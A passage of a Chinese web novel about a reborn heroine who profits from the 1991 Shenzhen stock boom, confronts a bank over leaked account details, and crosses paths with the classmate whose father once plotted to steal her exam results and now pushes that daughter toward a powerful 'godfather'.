深城证券交易所的交易大厅里,人声鼎沸。中央空调吹出的冷风,完全压不住几百号人身上散发出的焦躁体温。 电子显示屏上的数字如同翻滚的烈焰,每一次跳动,都牵扯着无数人的神经。 在这个月之前,深城的股票交易还是一场充满市井气息的肉搏。人们在荔枝公园的黑市里,在红岭路的柜台前,用麻袋装着现金,像买卖大白菜一样倒卖着股权凭证。直到去年底,深交所在还没拿到“准生证”的情况下“先上车后补票”悄悄试营业,再到今年7月3日终于拿到批文正式开业,深城股市才算彻底进入了正规军时代。 这是一次跨时代的升级。大厅里不再有震耳欲聋的手工报价,取而代之的是电脑自动撮合交易系统。身穿红马甲和蓝马甲的交易员在终端机前十指如飞,通过刚刚引入的卫星通信技术,将一笔笔买卖指令化作电子信号,在南国的天空下交织出一张看不见的财富大网。 裴文莹站在大厅二楼的玻璃幕墙后,居高临下地俯瞰着下方沸腾的“红蓝马甲”和如痴如狂的股民。 她的目光紧紧盯着大屏幕上那刺眼的红色数字,心跳稳健而沉着,一双清冷的眸子里,没有贪婪,只有冷静。 她和顾飞羽,在这片莽荒的资本丛林里潜伏得太久了。 他们在深不见底的熊市中建仓,在无数人绝望跳楼时吸筹,硬生生熬过了最煎熬的震荡期。如今,风暴已至,只差最后一步。 “360了。”耳边传来顾飞羽低沉的声音。他的呼吸比平时粗重了几分,显然,即使是世家公子,此刻也难以压抑激动的情绪。 “抛了吧。”裴文莹说道。 没有任何犹豫,没有一丝对“还能涨得更高”的幻想。2.5万股深蓝田,以每股360元的天价,瞬间砸向市场。 庞大的卖单如同巨石入海,瞬间被散户和游资吞没。 屏幕上的成交数字飞速滚动。“叮——”清脆的系统提示音在专属交易室里响起。资金回笼到账:900万元! 裴文莹连眼睛都没眨一下,目光瞬间平移,锁定了另一只股票——深田野。 这只股票的涨幅同样令人怎么舌,目标价已突破176元大关,K线图拉出了一道反直觉的陡峭直线,这是见顶前最后的疯狂。 “深田野,12288股,清仓。”裴文莹盯着屏幕说。 键盘敲击声落下,又是两百多万资金呼啸入账。 两□□作,行云流水。 当所有交易尘埃落定,裴文莹账户的可用余额定格在了一个令普通人窒息的数字。 当初,她用仅仅30万元的本金,以每股6.2元的白菜价,吃下了2.5万股深蓝田。在最高点360元抛出,单只股票获利高达884.5万,翻了近六十倍!而剩下的资金投入的深田野,同样从11.8元一路狂飙至176元,净赚201.7万。 一千一百一十六万。此时,深城普通工人的月工资不超过一千块。 裴文莹盯着屏幕上那串长长的零,一时竟忘了呼吸。 她缓缓直起身,背脊挺得笔直。眼底涌起一丝难以察觉的震颤,那是一个凡人在握住神明般的力量时,本能的敬畏。 她没有惊呼,没有像楼下那些散户一样喜极而泣、互相拥抱。 嘴角勾起一抹极淡的笑意,她端起桌上的温水,浅浅地喝了一口。 而站在她身旁的顾飞羽,整个人却是紧绷的。 他双手撑在桌面上,死死盯着属于自己的那块屏幕,心脏在胸腔里剧烈跳动。 他的战绩同样辉煌。 当所有的交割单打出,他的账户资金已经突破了700万大关! 看着这些数字,顾飞羽的记忆如同潮水般倒灌,将他拉回了一年前那个冰冷的黑夜。 那时的深城股市,经历了一场惨烈的崩盘。 他的姑姑,拿着爷爷一辈子的养老钱杀入市场,结果被套牢。 当纸面财富化为泡影,姑姑崩溃了,干脆一走了之,撇下一句轻飘飘的“股市有风险”当了鸵鸟。而年迈的爷爷气急攻心,突发脑溢血进了ICU。 那一刻,顾飞羽眼中的世界是灰色的。 他二话没说,掏空了所有积蓄,以当时看来高得离谱、蠢得发指的价格,接下了姑姑转让的6500股深蓝田。 他不是在买股票,他是在买爷爷的平安,也是在替那个愚蠢而贪婪的女人填坑。 那天深夜,市场一片哀嚎,所有人都在割肉逃命。 顾飞羽一个人坐在医院门口的台阶上,内心一遍遍地问自己:他是不是做了一个愚蠢的决定?刚刚靠着运气赚到一点钱,转眼又扔进了无底洞? 但是今天,那些曾经让他彻夜难眠的废纸,如今化作了七百多万真金白银。 他不仅没有被掉坑,反而跨入了财富殿堂。 走出深交所的大门,外面的阳光刺得人睁不开眼。 两人没有去什么富丽堂皇的大酒店庆功,而是熟门熟路地拐进了不远处的一条窄巷,走进了阿飞冰室。 这是两人的传统节目。 阿飞冰室的装修完美复刻了七十年代的香港老冰室。红绿相间的霓虹灯牌在白日里依然闪烁,墙壁上贴着绿白相间的马赛克小瓷砖,墙角挂着周润发《英雄本色》的海报。橙白相间的卡座磨损出了岁月的包浆,二楼外摆区的铁艺栏杆,透着一股浓浓的岭南骑楼风情。 在这里,没人知道刚刚有两个人在几百米外卷走了一千八百万。 “两 份咖喱牛腩饭,一份芝士三多鸡腿,两个新鲜出炉的菠萝油。两杯饮品,一杯冻丝袜,一杯冻柠茶,少冰。”裴文莹熟练地用粤语向伙计下单。 发了千万的横财,她依然是那个吃路边摊的土包子。 饭菜很快端了上来。裴文莹轻轻撕开菠萝包那层金黄、香酥得直掉渣的酥皮。刚刚出炉的面包夹着一片冰镇的厚切黄油,一口咬下去,冰火两重天在口腔里碰撞,黄油的咸香与酥皮的甜蜜完美融合,齿颊留香。 她满足地眯起了眼睛,端起那杯装在厚重玻璃杯里的丝袜奶茶,深深吸了一大口。浓厚的红茶底与黑白淡奶的丝滑顺着喉管流下,将交易大厅里沾染的焦躁一扫而空。 她吃得眉眼弯弯,像个终于得到了心爱糖果的女孩。顾飞羽坐在她对面,没有动筷子,只是静静地看着她。 “想笑就笑吧。”顾飞羽懒洋洋地搅动着杯子里的柠檬片,嘴角压不住地向上扬,“这里没人会嘲笑一个暴发户。事实上……我也很想笑……” 话音未落,两人对视一眼,突然同时大笑起来。 一夜暴富,怎么可能不狂喜? “当——”两人举起厚重的玻璃杯,在半空中清脆地碰了一下。“这一杯,敬我们的运气。” “也敬你那位姑姑。”她带着一丝促狭,“感谢她把发财的门票拱手让给了你。她但凡多一点点耐心,熬过那八个月的震荡期,也不至于两手空空。” 顾飞羽轻笑一声,眼神却深邃了几分:“贪婪让人盲目买入,恐惧让人踏空卖出。” 他喝了一口冻柠茶,酸涩与冰凉让他彻底清醒:“股市的钱,来得快,去得也快。现在的深市已经过热了,随时可能面临政策性的强制降温。文莹,资金撤出来后,你打算怎么布局?” 裴文莹懒洋洋地搅拌柠檬茶,头也不抬地说:“我还没有想好,你有什么建议?” “我们去买房子吧!”她突然兴致勃勃地说:“我想当包租婆——手里拿着一大把钥匙,每个月收租,从月初收到月末。” “房地产?”顾飞羽挑眉,“现在买房?” 裴文莹用手指蘸了一点杯壁上的水珠,在木桌上画了一个圈:“深城的发展才刚刚开始,大量的人口正在向这里涌入,但这片土地的面积是有限的。股市可以让我们短期暴富,但房产才是真正能保值增值的资产。” 她目光灼灼地看着顾飞羽:“政府已经在酝酿住房制度改革了,福利分房的时代很快就会终结。等所有人意识到房子是一种可以买卖的商品时,价格就已经在天上了。” 顾飞羽若有所思地沉吟了片刻,继而发出一声低笑,再次举起杯子:“好。既然你指了路,那我陪你。” 裴文莹笑道:“不着急,飞羽,我要先回一趟旗山处理一些私人事务。等我回来再好好商量。” 46. 第 46 章 然而,与财富一起到来的,远不止幸福和快乐。 第二天,麻烦已经找上门了。裴文莹的电话响个不停。 “裴小姐您好!我是深城宾利车销售中心的张经理。我们最近新到港了几款顶配的奔驰和宝马,特别符合您的气质,不知您是否有空来展厅看看?” 她啪地一声挂断了电话。 两分钟后,铃声再次响起。“裴小姐,我们是深城湾高端房地产公司的。听说您最近资金充裕,我们内部保留了一批顶级豪宅,仅对千万级客户开放……” 再次挂断。 这只是个开始。 短短一个上午,她接到了十几通推销电话。从进口豪车到高端会所的黑卡,从稳赚不赔的商业项目到某某高干子弟拉拢的酒会。甚至到了傍晚下班时,有两个穿着劣质西装、眼神放光的陌生人,直接堵在了她公寓的楼下,满嘴跑火车地要给她介绍什么国家机密工程。 裴文莹站在窗前,看着楼下那两个被保安赶走的骗子,眼神彻底冷了下来。 一千多万现金,就像是一块散发着血腥味的肥肉,而她现在,已经被深城这片丛林里的鬣狗们盯上了。 “是谁泄露了我的信息?”这是一个不需要推理的问题。 在这座城市,除了昨天刚刚完成资金交割和转账的银行,没有任何人能够如此精准地掌握她的账户余额和联系方式。 与此同时,深城某国有大行支行经理的办公室里。“嘀嘀嘀——” 传真机吐出了一份长长的日结流水单。支行经理张经理正端着茶缸喝水,当他的目光扫过单子上某个名字后面那一长串的零时,“噗”的一声,一口热茶全喷在了桌面上。 “一千一百万?!”他猛地站了起来,连带着椅子摔倒在地都顾不上,一把抓起电话拨通了财务部。 “这个叫裴文莹的账户是怎么回事?还有那个顾飞羽,七百多万?!这两笔巨款是从深交所划过来的?” 得到财务部肯定的答复后,张经理倒吸了一口凉气,激动得浑身发抖。 在这个年代,拉存款是所有银行网点的头等大事。一个拥有一千万现金的活期储户,简直就是从天而降的财神爷!只要把这两位祖宗留在自己支行,他明年的升职加薪简直是板上钉钉! “快!查一下这两个人的资料!给我准备最高规格的贵宾室,把今年最好的龙井拿出来!”张经理咆哮着指挥大堂经理。 他脑子里只有一个念头:绝对不能让其他银行把这两个超级客户挖走! 半小时后。当裴文莹和顾飞羽面色冰冷地踏入这家支行大门时,张经理几乎是用百米冲刺的速度迎了上去。 他根本没有察觉到两人身上的低气压,满脑子都是如何把这两位财神爷伺候舒服。 “裴小姐!顾先生!两位真是稀客,贵客啊!”张经理西装革履,脸上堆满了职业化且极度热切的笑容,腰弯出了一个谄媚的弧度,“快请进,快请进!大堂太杂乱了,我们去贵宾室谈!” 他眼神毒辣,一眼就看出这两人虽然年轻,但气质沉稳,尤其是走在前面的裴文莹,身上由衷莫名的气场。 贵宾室的门关上,隔绝了外面的喧嚣。 上好的明前龙井散发着袅袅热气。张经理亲自端茶倒水,语气恭维到了极点:“两位现在可是我们银行最顶级的VIP客户!早就听说两位在股市上大展拳脚,短短一年不到的时间就完成了常人几辈子不敢想的财富积累,实在是让我们这些金融从业者汗颜又佩服啊!” 顾飞羽微微挑了挑眉,在一旁的单人沙发上坐下,嘴角勾起一抹似笑非笑的嘲弄:“张经理消息挺灵通啊。我们昨天才完成交割,你今天连底细都摸清了。” 张经理丝毫没听出话里的讽刺,笑得越发灿烂:“那当然!银行的职责就是为像两位这样优秀的客户保驾护航。说实话,普通的储蓄业务已经配不上二位的身份了。我们可以为您提供全方位的顶级金融服务!” 裴文莹没有碰那杯茶,淡淡地看着他,神色不变:“哦?比如呢?” 见客户有了兴趣,张经理立刻像打了鸡血一样滔滔不绝起来:“比如,专属贵宾理财顾问、快速贷款审批通道、国际账户支持。最关键的是,我们可以为二位开设私人支票账户!” 在1991年的国内,支票账户是绝对身份的象征,通常只对大型国企和极少数外资高管开放。 “有了专属支票本,两位以后进行大额投资或消费,就不需要提着麻袋装现金了,这不仅是便利,更是社会地位的象征。”张经理诱惑道。 裴文莹不动声色地看了顾飞羽一眼。顾飞羽微不可察地点了点头。支票确实是个好东西,能省去很多麻烦。“可以。”裴文莹声音清冷,“给我们各开一个。” “您稍等,马上办!”银行经理大喜过望,立刻让助理去拿文件。两个签名落下,张经理心里的大石头算是落了一半。但他并不满足于此,他想要深度绑定这两个超级客户。 他搓了搓手,压低了声音:“裴小姐,顾先生,其实财富到了你们这个级别,存在银行吃利息是最低级的做法。你们有没有考虑过……进行更多元化的资产配置?比如海外信托,或者是产业级的联合投资?” 他目光灼灼地扫过两人,抛出了自以为最大的诱饵:“我们银行最近刚好接手了一个高净值客户保密计划,涉及港城那 边的一个大型房地产开发项目。稳赚不赔,内部通道。如果两位有兴趣把资金交给我们来运作,我可以帮你们对接最高级别的金融团队……” “张经理,你们银行的服务,确实很全面。”她的声音不大,却在安静的贵宾室里掷地有声,“但我对你们,非常、非常不满意。” 银行经理愣了一下,脸上的笑容有一瞬间的僵硬。 “裴小姐,您这话是什么意思?” 裴文莹的目光沉了下来,缓缓说道:“我的账户信息,是不是被你们银行内部的人泄露了?” 空气瞬间凝固。 银行经理的额头立刻渗出了一层细汗,他再迟钝也明白了,裴文莹今天来,并不是在享受银行的特殊待遇,而是在兴师问罪! 银行经理顿时一怔,随即连声否认:“周小姐,绝对没有!我们银行对客户信息有严格的保密制度,绝不会泄露您的隐私……” “那我为什么会接到十几通来自房地产、豪车销售的电话?”裴文莹打断了他,声音低沉而凌厉。 在90年代初,国内银行业的隐私保护极其原始且混乱。底层的柜台储蓄员为了几百块钱的好处费,私自把大客户的信息卖给推销公司,是行业内半公开的秘密。 银行经理沉默了几秒,立刻改口:“裴小姐,我马上调查!一定给您一个交代!” “我不需要交代。”裴文莹语气平静,但却带着一种不容置疑的压迫感,“如果银行连最基本的客户信息都保护不了,那我的存款,也就没有必要继续留在这里了。” 银行经理瞬间冷汗直流。 ——她是在威胁要把存款转走! “裴小姐,您别急!我立刻处理!马上就处理!”银行经理几乎是立刻拍胸脯保证,“如果真是我们银行内部的问题,我们一定会严肃处理,绝不会让这种情况再发生!” 张经理的衣服后背已经被冷汗湿透了。 他太清楚这件事的严重性了。裴文莹现在有绝对的理由,随时把这一千多万转到隔壁街的银行去! 他的脑子开始飞速运转,思考如何在不让客户生气的情况下,迅速解决这个问题。 裴文莹冷冷道:“三天之内,给我一个结果。” 财富不仅能带来自由,也会让整个世界的态度对你发生变化。裴文莹已经在学习运用这种权力了。 三天后,深城某大行的一把手亲自登门。 内部调查结果出来了:那个私自泄露裴文莹大额资金动向的员工已被移交法办。为了平息这位大客户的怒火,行长亲自赔礼道歉,“裴小姐,这是我们的一点诚意,以后您在深城的所有金融业务,由我亲自对接。” 47. 第 47 章 裴文莹回了旗山,主要是把小弟裴文韬接走,再和周群雄面议旗山新区的那块地如何处置,以及顺便看看王建国的服装经营情况。她对表哥的信任始终保留一点警惕,担心他穷人乍富守不住财富,被人做局诱骗走上歪路,所以时不时就要突击检查一下,对账目更是半年就要审计一次。 裴文莹撑着伞,走在怀石镇青石板铺就的老街上,最终将脚步停在了怀石镇中学的铁门前。 这是她此行的最后一站。她想去探望自己的英语老师——苏老师。 那位在她曾经最黑暗、最自我怀疑的求学路上,给予过无数次鼓励的恩师。 苏老师年过半百,头发花白,有着和怀石镇截然不同的特质。 前世直到裴文莹三十多岁,看了很多电视,才知道,当时的苏老师身上的这股特质,是可以用气质儒雅这个词来形容的。 她前世从未想过,苏老师为什么会出现在怀石镇。他好像就是突然出现在这里,然后守着一所农村中学教英语,一教就是十几年。 裴文莹前世曾隐约听说,苏老师毕业于北京一所名校,还曾出国留过学。 “那您为什么回来呢?” “因为那时国家需要我们。我们这一代人,都有自己的使命。” “您后悔吗?”裴文莹当时小心翼翼地问道。 苏老师摇了摇头,眼神坚定:“不后悔。虽然经历了许多波折,但其实,这里也不错。” 裴文莹沉默了,意气风发的天之骄子,被命运打入谷底,又从谷底爬了起来,重新行走在这个世界。他器重裴文莹,喜欢她眼中的渴望和坚韧。常常在课后专门给她提辅导,有时还会借给她一些珍贵的英语书籍。 她轻声说道:“苏老师,我以后也想成为像您这样的人。” 苏老师语气温和却笃定:“文莹,你的天地不在这里。你要一直往外走,去看看更广阔的世界。” 这句话,成了她在无数个咬牙坚持的黑夜里,唯一的微光。 正值暑假,校园里寂静无声。裴文莹熟门熟路地穿过操场,推开二楼办公室的门。老旧的木课桌上堆满了作业本,头顶的吊扇“吱呀吱呀”地转动着,几位留校值班的老师正围坐在窗边喝茶。 “裴文莹?”一位年长的老师率先抬起头,眼里写满了惊讶,“你怎么回来了?” “老师们好。”裴文莹微笑着点头,目光在办公室扫了一圈,却没有看到那个熟悉的清瘦身影,“苏老师呢?” 办公室里瞬间安静了一下。几个老师面面相觑,片刻后,那位年长老师叹了口气:“苏老师生病了,回北京治疗去了。” 裴文莹心里猛地一沉,脸上的笑意褪去:“什么病?严重吗?” “具体情况我们也不清楚,走得很急,连送行都没来得及办。” “什么时候走的?” “上个月。” 裴文莹站在原地,手指不自觉地攥紧了伞柄。在她的记忆里,苏老师身体一直不错,怎么会突然病得这么重?她很想多问些细节,但看老师们的神情,显然他们知道的也仅限于此。 她压下心头的不安,默默在心里盘算,等回了深城,一定要找机会打听苏老师的下落。既然她重活了一世,改变了那么多事情,就绝不能眼睁睁看着恩师陷入绝境。 告别了老师,裴文莹独自漫步在熟悉的校园里。 阳光透过香樟树的缝隙,在水泥路面上投下斑驳的光影。当她走到操场边缘的那排公告栏前时,脚步顿住了。 这里,曾经贴着历届高考的红榜。 前世今生的记忆如同潮水般涌来。 高考前夕,吴校长破天荒地把她单独叫到了办公室。 平时高高在上、不苟言笑的校长,端着茶杯,用一种漫不经心却透着施舍的语气对她说:“文莹啊,你成绩这么好,考重点大学肯定没问题。彩霞是你同班同学,也是我女儿,她这孩子就是考试容易紧张。你要是能在考场上帮帮她……以后你的学费、生活费,吴叔叔全包了。” 当时的裴文莹只是个农村女孩,却也知道这叫作弊。她硬着头皮拒绝:“校长,我不敢,我也不能这么做。” 她至今忘不了吴校长被拒绝后,那瞬间阴沉下来的脸色,以及阴冷的目光。 她以为事情就这么过去了。前世,她满怀憧憬地填报了广州的重点大学,可最后等来的,却是落榜的绝望。 直到很久以后,她在社会的底层摸爬滚打,吃尽了苦头,才偶然得知,她的高分、她的录取通知书,甚至她的人生,都被吴彩霞悄无声息地顶替了! 那个偷了她人生的吴彩霞,拿着重点大学的文凭,在光鲜亮丽的校园里,遇到了周承志。 周承志…… 想到这个名字,裴文莹的眼神黯了黯。 前世,填报志愿的那天,那个总是穿着白衬衫、皮肤晒得微黑的少年,曾在走廊的拐角处拦住她。他局促又期待地问她填了哪里,当听到她选择了广州时,周承志的眼睛瞬间亮了,激动地说:“我也填了那里!文莹,要是我们都能考上,那该多好啊!” 少年眼里的爱慕那么明亮,前世的裴文莹确实心动过。 可后来呢? 后来的现实残酷得令人发指。周承志顺理成章地考上了那所大学,而那个以“裴文莹”的成绩踏入校门的,却是吴彩霞。 吴彩霞顶替了她的身份,也顺理成章地接管了她原本会拥有的人际关系。在大学里,吴彩霞和周承志走到了一起,毕业后结了婚,双双出了国,过上了令人艳羡的精英生活。 周承志的人生仿佛一路开挂,成了行业里赫赫有名的专家。而她,坠落在黑暗的沼泽里,连仰望他们的资格都没有。 不过,那都是前世的事了。 裴文莹深吸了一口气,将那些阴郁的记忆压回心底,这一世,她带着记忆重生,怎么可能还会重蹈覆辙? 在这一世填报志愿时,裴文莹做出了一个极其大胆且疯狂的决定,故意把志愿填到了远在西南边陲的偏僻大专,吴彩霞自然去不了广州的重点大学,更不可能再像前世那样,在最美好的年华里遇见周承志。 两人的命运,在这一世填志愿的那一刻,就已经彻底错开了。 出了学校,她正在镇上漫无目的地走着,忽然,脚步停了下来。 真是冤家路窄。 在马路对面的一家冷饮店门口,她看到了一个熟悉的身影——吴彩霞。 裴文莹几乎没能第一时间认出来,因为吴彩霞变了。 她穿着一件粉色的连衣裙,踩着漆皮高跟鞋,胳膊上挎着一个艳丽的红色手袋。头发烫成了大波浪,嘴唇涂着显眼的口红。在这个略显破旧的南方小镇里,这种打扮无疑是惹眼的,透着一种典型的小镇姑娘在有限条件下,努力向都市时尚靠拢的刻意感。 可不管怎么包装,那种骨子里的怯意和虚荣,却怎么也掩盖不住。 吴彩霞本来正低头走着,似乎不想被人注意。但当她的余光扫到站在不远处的裴文莹时,整个人猛地僵住了。 她下意识地想要转身躲开,可已经来不及了。 裴文莹已经看到了她,并且,正大大方方地穿过马路,朝她走来。 “吴彩霞?”裴文莹的声音清亮,带着一丝笑容。 吴彩霞硬着头皮转过身,脸上扯出一个极其不自然的笑容。但那笑容里,有 着掩饰不住的心虚、震惊,甚至还有一丝本能的警惕。 “裴文莹啊……”吴彩霞的声音有些发紧。 她的眼神在裴文莹身上飞快地扫了一圈,眸光剧烈地颤抖了一下。 她震惊地发现,裴文莹变了。 变得让她感到陌生,更让她嫉妒得发狂。 裴文莹没有像她那样刻意打扮,只是简单的白色短袖衬衫和高腰牛仔裤,却透着一股大城市女性特有的松弛与笃定。她眉眼生动自信,皮肤白皙透亮,那种从容不迫的气质,是真正见过世面、在风浪里搏杀过的人才会拥有的光彩。 这怎么可能?! 吴彩霞的心里几乎妒忌到了顶点。 当年填志愿的时候,父亲明明安排好了一切,只要裴文莹填了重点大学,她吴彩霞就能顶着高分去广州上大学!去过那种人上人的生活! 可偏偏,这个死丫头不知道发了什么疯,居然把志愿填去了西南那鸟不拉屎的穷山沟! 因为裴文莹的“发疯”,父亲的计划全盘落空。她吴彩霞最终只能去西南读了一个毫无含金量的普通大专。 而现在,这个本该在流水线上消磨青春的农村女孩,凭什么站在她面前,笑得这般意气风发?! “你什么时候回来的?”吴彩霞努力平复着心底的嫉妒与不甘,扯出一丝僵硬的笑容,强行端起了一副高姿态。 “刚回来不久,正好路过这边,就看到你了。”裴文莹将她眼底的嫉妒尽收眼底,心里明镜一般。 她上下打量了一眼吴彩霞,语气轻松:“你现在在哪工作?大专毕业了,肯定分了个好单位吧?” 提到工作,吴彩霞的笑容顿时僵在了脸上,眼神下意识地开始闪躲。 她怎么敢说? 在这个年代,原本大学生是天之骄子,只要能考上,毕业就包分配,端的是铁饭碗。可那是指真正的本科名校!而她吴彩霞,当年因为裴文莹的“发疯”,最后只能去读了那所连名字都说不出口的偏僻大专。 这三年,她在那个破烂的大专里混日子,连个正经本事都没学到。如今毕业了,分配政策早就开始收紧,像她这种没背景、没学历的大专生,根本分不到什么体面的好单位。 如果当年……如果当年父亲的计划成功了,她现在就是广州Z大的高材生!她会留在繁华的羊城,坐在高档的写字楼里,或许还会遇到一个家世优渥的大学同学,谈一场风花雪月的恋爱。 可现在,一切都成了泡影。 “呃……”吴彩霞喉咙发紧,手心已经渗出了冷汗,她飞快地撩了一下烫得有些焦黄的卷发,强撑着镇定说道,“就……分到隔壁县里了,工作还行。” 她语速极快,试图含糊其辞地混过去。 可裴文莹偏偏不顺着她给的台阶下。 “县里?具体哪个单位啊?”裴文莹微微歪了歪头,目光清明地盯着她,语气里带着几分不容退缩的追问,“怀石镇离兆丰县也不远,以后说不定大家还有机会走动走动。” 吴彩霞心里猛地一跳,“也没什么特别的,反正就是个小单位,工作稳定嘛。女孩子,求个安稳就行了。” 吴彩霞低着头,声音越来越虚,连敷衍都显得漏洞百出。 失去了别人的人生做养料,原来她吴彩霞,就只是这么一个外强中干、虚荣怯懦的草包。 裴文莹没有再继续步步紧逼。对付这种人,看着她自己把自己逼进死胡同,比当面拆穿她更有意思。 “也是,安稳最重要。”裴文莹轻轻笑了一声。 “文莹,我还有事,得先走了,改天再聊吧!” 没等裴文莹回应,吴彩霞几乎是落荒而逃。 48. 第 48 章 夜幕降临,月色笼罩着小镇青砖巷道。 吴彩霞坐在自己的院子里,满脑子都是白天那场突如其来的相遇。 凭什么? 那个穷得连一双好鞋都买不起的裴文莹,为什么现在看起来那么光鲜亮丽?她身上的衣服,她脚上的鞋,她那种毫不费力的从容,为什么看起来那么刺眼! 她原本以为,裴文莹这辈子早就毁了,只能在哪个不知名的厂子里当个打工妹。 可现实却狠狠给了她一巴掌。 裴文莹不仅没有被毁掉,反而活成了她吴彩霞最嫉妒、最渴望成为的模样! “这不公平……”吴彩霞咬牙切齿地呢喃着,院子里的牵牛花藤在微风中轻轻摇曳。 吴校长端着一杯茶走出大门,眉头紧锁,脸色阴沉。这几年,因为升迁无望,加上花钱给女儿顶替学历的窟窿,吴校长的头发白了大半。 吴彩霞看着父亲,怯懦地说道:“爸,我今天,在镇上……遇见了裴文莹。” 吴建成手里的茶杯重重地磕在桌上,溅出几滴茶水。他盯住女儿:“她认出你了?她跟你说了什么?你怎么说的?” 接连三个问题,像连珠炮一样砸过来。即便是过了这么多年,吴建成对当年那个脱离掌控的变数依然心有余悸。他做了那么周密的计划,打通了上上下下的关系,就等着裴文莹的重点大学档案提档,结果那个死丫头居然阴了他一把,把志愿填到了西南山区里,让他花了钱还没捞着好! “没、没什么……”吴彩霞吓得缩了缩脖子,赶紧解释,“她就是随口问了问我毕业分配在哪儿工作,我没敢告诉她具体单位,就敷衍过去了。” 吴校长眯了眯眼,紧绷的神经稍微放松了一点,但脸色依旧难看。 他冷冷地盯着女儿,声音低沉:“她既然回来了,你最近就少在镇上晃悠。万一她察觉出什么蛛丝马迹,到处乱咬,也是个麻烦。” “我想躲,可是……”吴彩霞声音低了下来,委屈和不甘涌上心头,她猛地抬起头,红着眼眶喊道,“爸!凭什么我要躲她?明明上大学的是我!打工的是她!可是今天你看她那个样子,穿得比大城市人还洋气,看我的眼神就像在看个笑话!她凭什么过得比我好?!” “闭嘴!” 吴校长厉喝一声,脸色铁青。他看着眼前这个不成器的女儿,心里也是一阵窝火。 “你还有脸问凭什么?要是你当年自己争气点,能考上个正经本科,老子用得着为了你的前途到处装孙子求人吗?!” 吴彩霞被吼得浑身一颤,眼泪在眼眶里打转,却不敢再顶撞半句。 过了良久,吴建成重重地叹了口气,声音缓和了一些,“行了,哭有什么用。这世上,笑到最后才算赢。裴文莹现在再光鲜,也不过是个在厂里打螺丝的,没有根基。而你不一样,你马上就要端上铁饭碗了。” 吴彩霞愣了一下,抬起头看着父亲。 吴建成放下茶杯,手指在桌面上轻轻敲击着,缓缓说道:“你的工作,我已经落实了。兆丰县人民医院,正式编制的护士。” “护士?”吴彩霞的脸色顿时变了,她脱口而出,“爸,你之前不是说找关系让我坐办公室吗?我不想去医院!我不想天天熬大夜班,跟那些血啊、屎尿啊打交道,太恶心了……” “你以为我想让你去?”吴校长恨铁不成钢地说,“你那个破大专文凭,能进得了什么好单位?现在县里多少人挤破头想进体制内?要不是我舍了一张老脸,你连这个护士的编制都捞不到!” 吴彩霞沉默了,她知道父亲说的是实话。 可她不甘心啊!她原本是可以拥有璀璨人生的,她原本是可以去广州上大学的! 吴校长看着女儿泪汪汪的脸,语气突然变得幽深莫测起来,“不过,去医院也只是个跳板。我的女儿,生来就是人上人。” 吴彩霞的心猛地提了起来,她本能地感觉到,父亲接下来要说的话,绝不是什么好话。 “我已经给你铺好路了。”吴校长身体语气淡淡,“明天,你换身好看的衣服,跟我去一趟县城。我已经约了丁老板吃饭。” “丁老板?哪个丁老板?”吴彩霞有些茫然。 “兆丰县路桥公司的丁旺山,丁总。”吴校长眼中闪过一丝精光,“他在县里手眼通天,黑白两道通吃,县里几个大工程都是他包的。最重要的是,他在县委有很硬的后台。有了这层关系,你进了医院以后,谁也不敢让你干脏活累活。等熬过一两年,让他一句话,就能把你调到行政后勤,甚至直接调到卫生局去。” 听到不用干脏活,吴彩霞的眼睛稍微亮了一下,但随即又觉得有些不对劲。人家凭什么这么尽心尽力地帮她? “爸,那……那我们需要给他送多少钱?”吴彩霞小心翼翼地问。 吴校长看了她一眼,嘴角扯出一抹极其古怪的笑意,似嘲讽,又似冷酷。 “钱?丁老板不缺钱。”他顿了顿,一字一顿地说道,“我已经跟丁老板说好了,让他收你做干女儿。明天饭局上,你要机灵点,好好敬酒,把干爹认下。” “干……干爹?!” 吴彩霞如遭雷击,整个人猛地往后退了一步,不可置信地瞪大了眼睛。 在南方这种小县城,稍微有点社会阅历的人都知道,那些有钱有势的老男人认年轻漂亮的女孩子做干女儿,背后到底藏着什么龌龊的勾当。 她虽然虚荣,虽然怯懦,但她到底是个年轻未婚的女孩子,她怎么能……怎么能去给一个老男人当这种“干女儿”?! “爸!你怎么能这样?!”吴彩霞浑身发抖,眼泪终于夺眶而出,声音尖锐得破了音,“我不要!我绝对不要去认什么干爹!传出去,我以后还怎么见人?我还怎么嫁人?!” “啪!” 一记响亮的耳光,狠狠甩在了吴彩霞的脸上。 吴彩霞被打得偏过头去,脸颊瞬间红肿起来。她捂着脸,不敢置信地看着从小娇惯自己的父亲。 吴校长站起身,居高临下地看着她。 “见人?嫁人?”吴建成冷笑连连,“你以为你现在很金贵吗?在这个社会,没权没势,你连活得像个人都难!你看看裴文莹,人家现在在外面混得风生水起,你呢?你除了一身臭脾气,还有什么?” 吴彩霞被“裴文莹”三个字刺得浑身一哆嗦,咬碎了牙关。 “丁老板是县里有头有脸的人物,认个干爹怎么了?只要他能给你铺路,别让他真正占了便宜,你这点委屈算什么?!你要是拉不下这个脸,好啊,那你明天就给我收拾包袱,去南方厂里踩缝纫机!” 吴彩霞彻底僵住了。 去踩缝纫机?去当流水线上的打工妹? 不!她死也不要! 吴彩 霞浑身战栗着,眼泪无声地顺着红肿的脸颊滑落。她张了张嘴,想要继续反抗,可话到嘴边,却怎么也发不出声音。 几天后,旗山县最豪华的酒楼。 包厢里的空调开得很足,冷风嗖嗖地吹着。宽大的圆桌上摆满了在这个年代极其奢侈的山珍海味,空气中弥漫着浓烈的茅台酒香和高级香烟的味道。 吴彩霞穿着一件真丝连衣裙,头发精心打理过,脸上化着精致的妆。但不管她怎么掩饰,那种如坐针毡的紧绷和恐惧,依然。 坐在主位上的,是她未来的“干爹”——丁旺山。 丁旺山四十多岁,身材微胖,头顶有些稀疏,脖子上戴着一条粗大的金项链。他的脸上挂着生意人特有的精明笑意,但那双被酒精熏得微红的眼睛,却毫不掩饰地透着一种掂量货物的光芒。 “老吴啊,这就是你那个宝贝女儿?”丁旺山端起酒杯,慢悠悠地啜了一口,似笑非笑地问道。 吴校长赶紧赔着笑脸:“是是,丁总。这就是我家彩霞,刚大专毕业,分到咱们县医院了。以后,还得多仰仗丁总您费心照应啊。” 说着,吴校长在桌子底下,狠狠地用膝盖撞了一下吴彩霞的腿。 吴彩霞浑身一僵,胃里一阵翻江倒海的恶心。 可是,脑海中猛然闪过裴文莹在街头那从容自信的笑脸,那句带着嘲讽的“大专毕业了,肯定分了个好单位吧”像魔咒一样在她耳边回荡。 她不能输! 吴彩霞强行压下所有的屈辱,硬生生地扯出一抹娇媚笑容。 她端起面前倒满白酒的分酒器,颤抖着站起身,走到丁旺山身边。 “丁……丁总好。”吴彩霞的声音发着抖。 